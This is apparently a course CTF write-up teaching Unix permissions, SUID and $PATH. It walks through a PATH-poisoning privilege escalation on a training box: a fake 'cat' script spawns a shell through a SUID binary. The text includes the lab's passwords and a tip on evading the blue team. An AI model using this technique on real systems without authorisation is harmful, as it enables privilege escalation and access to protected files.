Skip to content
Permalink
ba79a00c20
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
1 contributor

Users who have contributed to this file

665 lines (499 sloc) 23 KB
# Linux Trainer, Level 18
This is a writup / tutorial for Level 18 of the Linux trainer. The
level brings together several concepts, and allows us to make a
privilege (privesc) exploit, changing the current user to one with
more permissions.
While the example is a little contrived, Privesc is a common task in
CTF (and pen testing) where we want to move from a low privileged
user (usually from our foothold), to one with greater permissions. In
a CTF it means we get more flags, in the real world it generally means
we have greater control over the system.
The particular attack we are using here is called *path poisoning*,
and gives us a nice way of running a user controlled file, rather than
the expected system file.
## Unix style permissions
The first concept we will revisit is permissions: (Taken from Level 16 of the Linux Trainer)
Access control is an important part of security. Allowing users
access to only relevant files on the OS, means that multi-user systems
can be possible.
One way that Linux deals with Access control, is through the use of
file systems permissions.
### Owners and Groups
Each file has permissions for three different categories of user.
- Each file has an *owner*, the user that the file belongs to.
- Users can be in a *group* a collection of users who should share
permissions and settings. For example users in the *sudoers* group
can use the sudo command to temporarily upgrade privileges.
- Finally the *world* category, represents all users on the system.
### File Access permissions
There are also three types of access permission.
- *read*: users in this category can read the contents of this file
- *write*: users with this permission can write the contents of this file
- *execute* users with this permission can run the file
### Viewing Permissions
Using **ls -l**, will show the permissions of files in *long* format.
This includes information including the *access permissions* and
*owners* for the file.
Each line of output will take the following form:
~~~.term
-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt
~~~
Which can be broken down into
~~~.term
[Permissions] [Size] [Owner] [Group] [Date] [Filename]
~~~
### Example
Consider the following
~~~.term
dang@dang-laptop /tmp/demo % ls -l
total 0
-rw-r--r-- 1 dang dang 0 Nov 26 13:43 bar.txt
-rwxr-xr-x 1 dang dang 0 Nov 26 13:43 baz.txt
-rw-r--r-- 1 ftp root 0 Nov 26 13:43 foo.txt
~~~
We have the files
-**bar.txt**
- Owner / Group *dang*
- *dang* has **read** and **write** permissions
- *world / group* have **read** permissions
- **baz.txt**
- Owner / Group *dang*
- *dang* has **read**,**write** and **execute** permissions
- *world / group* have **read** and **execute** permissions
-**foo.txt**
- Owner *ftp*
- Group *root*
- *ftp* user has **read** and **write** permissions
- *world / group* have **read** permissions
So permissions give us a nice way to restrict access to files on the
system, and segreate who can access what. However...
\clearpage{}
## The need to run commands as an Elevated user.
![Obligatory XKCD Sudo Comic](https://imgs.xkcd.com/comics/sandwich.png)
One of the problems with a multi user system is access control and
permissions. Giving every user administrative rights is an incredibly
bad idea, so we tend to segregate users into "Standard" accounts and
"Superusers" (root in Linux terminology). The standard user will be
limited in what they can do, to prevent malicious (or accidental)
damage to the system.
> Its also a really bad idea, to run ANY account as Root by default,
> most of the time we shouldn't need superuser access for our day to
> day tasks, giving us another good reason to limit what people can
> do. One of the reasons I disagree with Kali's "root as default" user
> setup
Part of the solution to this problem is to create a new group of users
who run as standard level accounts, but can run with elevated
privileges when needed. The SUDO (Super User Do) command, allows
members of this group to run a command as root. You will almost
certainly have come across SUDO before during the course, when
updating the system or running more interesting commands.
SUDO goes some way towards solving the problem of giving users the
ability to have root privileges, without needing to be root, but
still leaves us with a dilemma. Sometimes a common program will need
to run with elevated privileges, for example if it need to access low
level system resources, or privileged information.
Lets examine the common task of changing passwords. Evidently the file
containing the hashed passwords should be secure, and only accessible
by privileged users. However, if a user wants to change their own
password we have a problem:
- Either the unprivileged user needs to be able to access the
password list (which makes securing it pointless)
- Everybody who may change their password needs SUDO rights. (Which
defeats the point of them in the first place)
- The user would have to give their password to the systems admin to
get it changed (Letting others know your password is also a bad thing)
So we need some way of allowing a user to temporary elevate their
privileges to run a command.
### Using Misconfigured services to elevate permissions
Ironically, it is this need to temporarily elevate privileges for a
"good reason" that provides the opportunity for many privesc attacks.
Many of these problems come through the administrator not configuring
the system correctly. This is easier that it appears, many commands
have extra functionality that changes the way it behaves, or allow us
to start secondary processes.
## SUID to elevate permissions
> OK: I lied when i talked about permissions earlier. As well as RWX
> there are some "special" permissions that can be used.
We cant give everyone with SUDO rights, and setting up the individual
sudo permissions is a bit of a PITA when you get to thousands of users
or very commonly used files.
Linux addresses this problem of everyone needing elevated privileges
by using the SUID and SGID permissions flag. This is a special
setting for the standard file permissions that allows a program to be
run with the privileges of either the Owner (SUID) or Group (SGID).
Essentially this allows a user to run a program as a different user,
and gives admins control over who (or what) can access files.
Lets use the passwd command as an example. This is owned by the
*root* user, meaning it can access the privileged files required, but
has the SUID bit set. This means that users can run the (well tested,
and checked for security flaws) program as root allowing them to
change their own password.
Lets check the permissions for ```/bin/passwd```
~~~.term
$ ls -l /bin/passwd
-rwsr-xr-x 1 root root 63624 Jul 31 20:12 /bin/passwd
~~~
You can see we have the *s* flag in the Execute portion of the user.
this shows that the SUID bit is set, and the program will run with the
privileges of the user (in this case root)
> Note: To see the elegance of 'Nix based systems, checkout the
> permissions for the sudo command. There is an octocat sticker
> whoever writes me the best explanation of whats going on here.
Given that SUID files allow us to run commands as a privileged user,
they can often be the weak point that allows us to gain further
control of a system. It is always worthwhile to see what SUID files
are available on the system, using a tool like **find**, to look for
anything unusual that could be an entrypoint.
\clearpage{}
## The $PATH
When we want to run a system level command (for example ```ls```) the
OS needs to know where to find the executable we are looking for. We
have a couple of options here:
1. Hard Code all run-able commands (which is a silly idea, as it
means we wouldn't be able to install anything)
1. Hard Code the place where run-able commands are stored. (a less
silly idea. However, we still lack some flexibility in where we
can place executable, and it can lead to problems with "local
user " installs, where a user can install their own version of a
program), or where programs with a lot of executable (for
example ```perl`` on my system) are used, and it makes sense to
logically separate these into their own directory.
1. Store the possible locations of the binary in some user level
variable. This means that we get a decent level of flexibility in
the global locations our system will look for executable, whilst
also giving the user control of locations that software is
installed locally.
The $PATH system variable tells Linux (and windows) systems where to
find executable commands. Its a really useful thing, as it allows us
to call commands like ```ls``` (/usr/bin/ls) or ```cat```
(/usr/bin/cat) from any directory without specifying the full path.
We can see the actual location of a binary in the fileystems using either ```which``` or ```whereis```
~~~ bash
$which ncat
/usr/bin/ncat
$whereis ncat
ncat: /usr/bin/ncat /usr/share/ncat /usr/share/man/man1/ncat.1.gz
~~~
When a command it called, the OS looks in each location specified in
the $PATH for the command and executes the first match it comes
across.
> NOTE: This can be the source of trolling, I updated python on my
> system with a manually compiled version. However, the installer file
> placed it lower in the $PATH than the original python. There was
> about half an hour of Cussing, while the system kept running the old
> version.
$PATH consists of a list of locations separated by colons, For example
the $PATH on my system looks like this
~~~ bash
$echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
~~~
Therefore when I call a command, the system looks in:
- ```/usr/local/sbin```
- ```/usr/local/bin```
- ```/usr/bin```
- ...
- ```/usr/bin/core_perl```
As we step through each directory, if the request file is found it is executed and the search ends.
Lets say we are looking for ```ncat``` (which lives in /usr/bin) we get:
- ```/usr/local/sbin``` (Fails)
- ```/usr/local/bin``` (Fails)
- ```/usr/bin``` (Success, Run command and Exit)
> NOTE: As a point of interest, this is why we usually have to run
> ./<command> if we are executing a file in the current working
> directory.
>
> If we specify a full path (either absolute or relative) to the
> file. The OS will look in that location (and only that
> location). Otherwise, the OS makes use of the $PATH variable to look
> for the relevant file. As the current directory is unlikely to be
> in the $PATH, then the system is unable to find the command. We
> also know that "." is a special path, representing the current
> directory. Therefore "./<command>" is an (relative) path, which
> means that the current directory it the first and only place we
> look.
### Modifying the path.
As a system variable, we can modify the path in user space. There are two ways of doing this:
The first approach is to use the EXPORT command to set the path for that terminal session.
~~~.term
EXPORT PATH=<whatever>
~~~
So to set the $PATH to be ```/tmp``` we could use ```EXPORT
PATH=/tmp```
We hit our first Gotcha here. This command will set the $PATH to be
only ```tmp```, which means all the usual places are removed and the
OS cannot find anything. A much better approach is to *prepend* the
desired directory to the current path using
~~~.term
EXPORT PATH=<whatever>:$PATH
#For example prepend /tmp
EXPORT PATH=/tmp:$PATH
~~~
The other approach is to set the path on a "per command" basis. I
much prefer this as it means we are not leaving traces of the modified
path lying around for the blue team to find. We can do this by
calling the PATH string before our command.
~~~
PATH=/tmp:$PATH <program>
~~~
\clearpage{}
# Putting it all Together.
We have introduced a load of concepts there. Lets put them together
and see how we can make use of them to exploit a system.
For this I will walk through level18 on the Linux trainer.
- username: level18
- password: 0ad360e45e0ab518ed1c01dc5bfdde20
~~~
$ ssh level18@172.17.0.3
level18@172.17.0.3's password:
Linux 18f7df960aa1 5.3.5-arch1-1-ARCH #1 SMP PREEMPT Mon Oct 7 19:03:08 UTC 2019 x86_64
######################################################################
CUEH Linux Tranier V0.1
A war game style challenge to help you learn the basics of the Linux
command line.
The Documentation for (almost) every level is contained within a man
page. You can view this using the command **man**
For example, to see the documetation for level1 type
$man level1
comments, or suggestions for levels to aa9863@coventry.ac.uk
Have fun.
#####################################################################
level18@18f7df960aa1:~$
~~~
## Finding the Vulnerable File: Permissions
If we look at the contents of the current directory, we see what we have to work with.
~~~
level18@18f7df960aa1:~$ ls -l
total 32
-r-------- 1 elev18 elev18 36 Apr 23 09:52 File.txt
-r-------- 1 elev18 elev18 64 Apr 23 09:52 Pass.txt
---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme
-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c
level18@18f7df960aa1:~$
~~~
Paying attention to the permissions here we have:
- two files that we cannot access:
- A text file called ```File.txt``` that is Owned (and only
readable) by the *elev18* user
- A text file called ```Pass.txt``` that is Owned (and only
readable) by the *elev18* user
- An executable ```runme```, which is owned by the *elev18* user,
and will run with SUID permissions.
- The source code for our Runme program ```source.c``` which we can
read.
Awesome, we have the first piece of our puzzle. Executable with SUID
permissions, that *may* (and as its a CTF box, its likely), have a
vulnerability.
Lets run the program and see what happens.
~~~
level18@18f7df960aa1:~$ ./runme
Attempting to access file:
Access Pass.txt to get the password
~~~
So, the program output shows the code access a file, then displays a
help message to push us in the right direction.
## Looking at the source
Next lets examine the source code for the binary in ```source.c```
(OK, we wont usually find the source, but this is the first couple of
weeks, so I am being generous, We could however use ```strings``` or
```objdump``` to try to work out what is going on)
~~~.c
level18@18f7df960aa1:~$ cat source.c
#include <stdio.h>
#include <stdlib.h>
void main(void){
printf("Attempting to access file:\n");
system("cat /home/level18/File.txt");
}
~~~
If we cross reference that against the output of the program, its
clear what is going on.
- ```printf("Attempting to access file:\n");``` Display a message to the screen
- ```system("cat /home/level18/File.txt");``` Use the dreaded ```system``` call to access a file.
Now, our developer has done something right, by hard-coding the address
of the file we are trying to access. However, they have made a
mistake in the way the ```cat``` function is being called. By not
specifying a full path to the file, they are relying on the OS using the
$PATH to find the program. As we can control the $PATH, then we may
have a way to modify the behaviour of the code.
> NOTE: This isn't something you will find *that* often.
> However, sometimes a developer try's to make the program "platform
> independent" (as there is still no agreement on which /bin directory
> things go in), which gives us a way in.
Therefore our proof of concept attack looks something like this:
1. Create our own version of ```cat```, that does something interesting
1. Modify the $PATH so our version of ```cat``` is the first one that is found
1. .....
1. Profit
## Getting A Cat to do what we want it to do
Before we drop a shell, lets create a less evil cat (Mr tiddles) to
help illustrate what is going to happen.
We create the file in the */tmp* directory (You can use anywhere, but
/tmp is a good habit to get into, firstly it gets wiped on reset, and
secondly on CTF's like hack the box, its less likely to be interfered
with than doing it in user. Personally, on HTB I do most of my work in
/tmp/.dang/)
We pick a command such as ```id``` and add it to a file called ```/tmp/cat```
~~~
#Find the full path to id
level18@18f7df960aa1:~$ which id
/usr/bin/id
#Echo it to a file. Quotes are important here! (You could also use Nano)
level18@18f7df960aa1:~$ echo "/usr/bin/id" > /tmp/cat
#Check that things worked properly
level18@18f7df960aa1:~$ cat /tmp/cat
/usr/bin/id
~~~
We then make our new version of cat executable, and check it works as expected.
~~~
level18@18f7df960aa1:~$ chmod +x /tmp/cat
level18@18f7df960aa1:~$ /tmp/cat
uid=1019(level18) gid=1019(level18) groups=1019(level18)
level18@18f7df960aa1:~$
~~~
> NOTE: If you have any experience with Cats for the furry kind, This
> is probably the first time a cat has actually done what you want it
> to.
Cool, so we have a program called *cat* that runs the *id* command.
Now lets try running it with a modified path, where the ```/tmp``` is the first location
~~~
level18@18f7df960aa1:~$ PATH=/tmp:$PATH cat
uid=1019(level18) gid=1019(level18) groups=1019(level18)
level18@18f7df960aa1:~$
~~~
Or alternatively, perma setting the $PATH
~~~
level18@18f7df960aa1:~$ export PATH=/tmp:$PATH
level18@18f7df960aa1:~$ cat
uid=1019(level18) gid=1019(level18) groups=1019(level18)
~~~
So whats happening here:
1. Cat command is called, as no path is specified the OS uses the system $PATH
1. First place in the $PATH is ```/tmp``` Which contains a program called ```cat```
1. OS runs this version of ```cat``` and stops its search, without
going anywhere near the intended program.
We can now check what happens if we run our vulnerable file, using the modified version of cat, and $PATH
~~~
$ PATH=/tmp:$PATH ./runme
Attempting to access file:
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18)
level18@18f7df960aa1:~$
~~~
This time, we have different behaviour from the ID command, which
displays the **euid** (Effective User Id) as elev18.
Cool, so we are now able to run the ```id``` command as a different user.
## Getting a shell
It would be no fun if we didn't use our exploit to get a shell.
We modify ```/tmp/cat``` to call ```/bin/sh``` shell (NOTE:
/bin/bash will not work. You may want to check the manpage for system
to work out why this is.)
~~~
level18@18f7df960aa1:~$ cat /tmp/cat
/bin/sh
~~~
Now in theory, our program will
- Search the path for ```cat```
- Find our evil version in ```/tmp```
- Execute the contents of the file as the *elev18* user
- Which means we get a new shell as the *elev18* user
~~~
level18@18f7df960aa1:~$ PATH=/tmp:$PATH ./runme
Attempting to access file:
$ whoami
elev18
$ id
uid=1019(level18) gid=1019(level18) euid=1020(elev18) groups=1019(level18)
~~~
We get the *sh* prompt ($) and can confirm we are the *elev18* user with whoami.
### Reading the file from our privileged shell, The problem of nested Cats
There is a final bit of Trolling / Learning before we can access the flag file.
You may notice if we try to access the file using ```cat``` as we have before, nothing happens
~~~
$ ls
File.txt Pass.txt runme source.c
$ cat Pass.txt
$
~~~
This is (again) due to the $PATH. As we have set it per command
session then ```/tmp``` remains at the start of the path. Therefore
any call to cat will call our evil version at ```/tmp/cat```, which
then drops another ```sh``` shell.
You can see from the process list, that after a couple of times, we have several shell processes spawned.
~~~
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elev18 48 0.0 0.0 4168 588 pts/0 S 21:20 0:00 ./runme
elev18 49 0.0 0.0 4276 792 pts/0 S 21:20 0:00 sh -c cat /home/level18/File.txt
elev18 50 0.0 0.0 4276 752 pts/0 S 21:20 0:00 /bin/sh /tmp/cat /home/level18/F
elev18 51 0.0 0.0 4276 736 pts/0 S 21:20 0:00 /bin/sh
elev18 55 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh /tmp/cat Pass.txt
elev18 56 0.0 0.0 4276 744 pts/0 S 21:23 0:00 /bin/sh
elev18 58 0.0 0.0 36632 2844 pts/0 R+ 21:25 0:00 ps -ux
$
~~~
We can work around this in several ways. Either using an alternative
program (such as less or nano) to access the flag file, of make a call
to the original version of cat using a full path
~~~
$ whereis cat
cat: /bin/cat /tmp/cat /usr/share/man/man1/cat.1.gz
$ /bin/cat Pass.txt
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1
$
~~~
# Summary:
This was a walkthrough of Level 18 of the Linux trainer, and the
Theory behind the attack
Path poisoning is where we take advantage of a poorly written program
and modify its behaviour. It occurs because the developer has not
hard coded paths to executable, instead relying on the systems $PATH
variable to find the desired program.
As the $PATH is controllable by the user, we can change where the OS
looks for the system command the developer was wanting to call.
By creating our own version of the system command, and putting its
location at the start of the $PATH, we can get the OS to execute other
programs, this will usually be a shell, but could also be used to get
data from protected parts of the system, or other such fun things.
We also took advantage of the binary having the SUID bit set to get an
elevated shell, running as a different user.
Our proof of concept for the Exploit was
1. Identify Interesting Binaries on the file system
- Those with SUID bit set
- Those that make use of the System() call
1. Check these for Vulnerabilities
- Non hardcoded paths for System
1. Create a modified version of the command in the System() call
- In this case it was ```cat```
1. Run our program using a modified path to call our version of the command
1. Profit
\clearpage{}
# Trolled by Permissions: An Alternate approach to getting the flag
To demonstrate how easy it is to make the mistakes that allow people
to access restricted files, try the following:
~~~
#Delete File
level18@18f7df960aa1:~$ rm File.txt
rm: remove write-protected regular file 'File.txt'? y
#Overwrite with Pass.txt
level18@18f7df960aa1:~$ mv Pass.txt File.txt
#Check permissions and Access
level18@18f7df960aa1:~$ ls -l
total 28
-r-------- 1 elev18 elev18 64 Apr 23 09:52 File.txt
---s--x--x 1 elev18 level18 16624 Apr 23 09:52 runme
-rwxr--r-- 1 level18 level18 141 Apr 23 09:52 source.c
level18@18f7df960aa1:~$ cat File.txt
cat: File.txt: Permission denied
level18@18f7df960aa1:~$
#Run our Program
level18@18f7df960aa1:~$ ./runme
Attempting to access file:
Password for the next level is 84d284bda556887dfe827bb9ddba6cc1
level18@18f7df960aa1:~$
~~~
So even though we don't have permission to delete, or modify File.txt
or Pass.txt, we are able to. Why is this??
Read about the inode permissions on directory's and try to find out.
# Further Reading.
- [Linux.com article on Permission](https://www.linux.com/learn/understanding-linux-file-permissions)
- [Pentester Lab article on SUID and Find](https://pentestlab.blog/tag/find/)
- [GTFO bins](https://gtfobins.github.io/) An excellent resource of binaries useful for privilege escalation, and escaping restricted environments.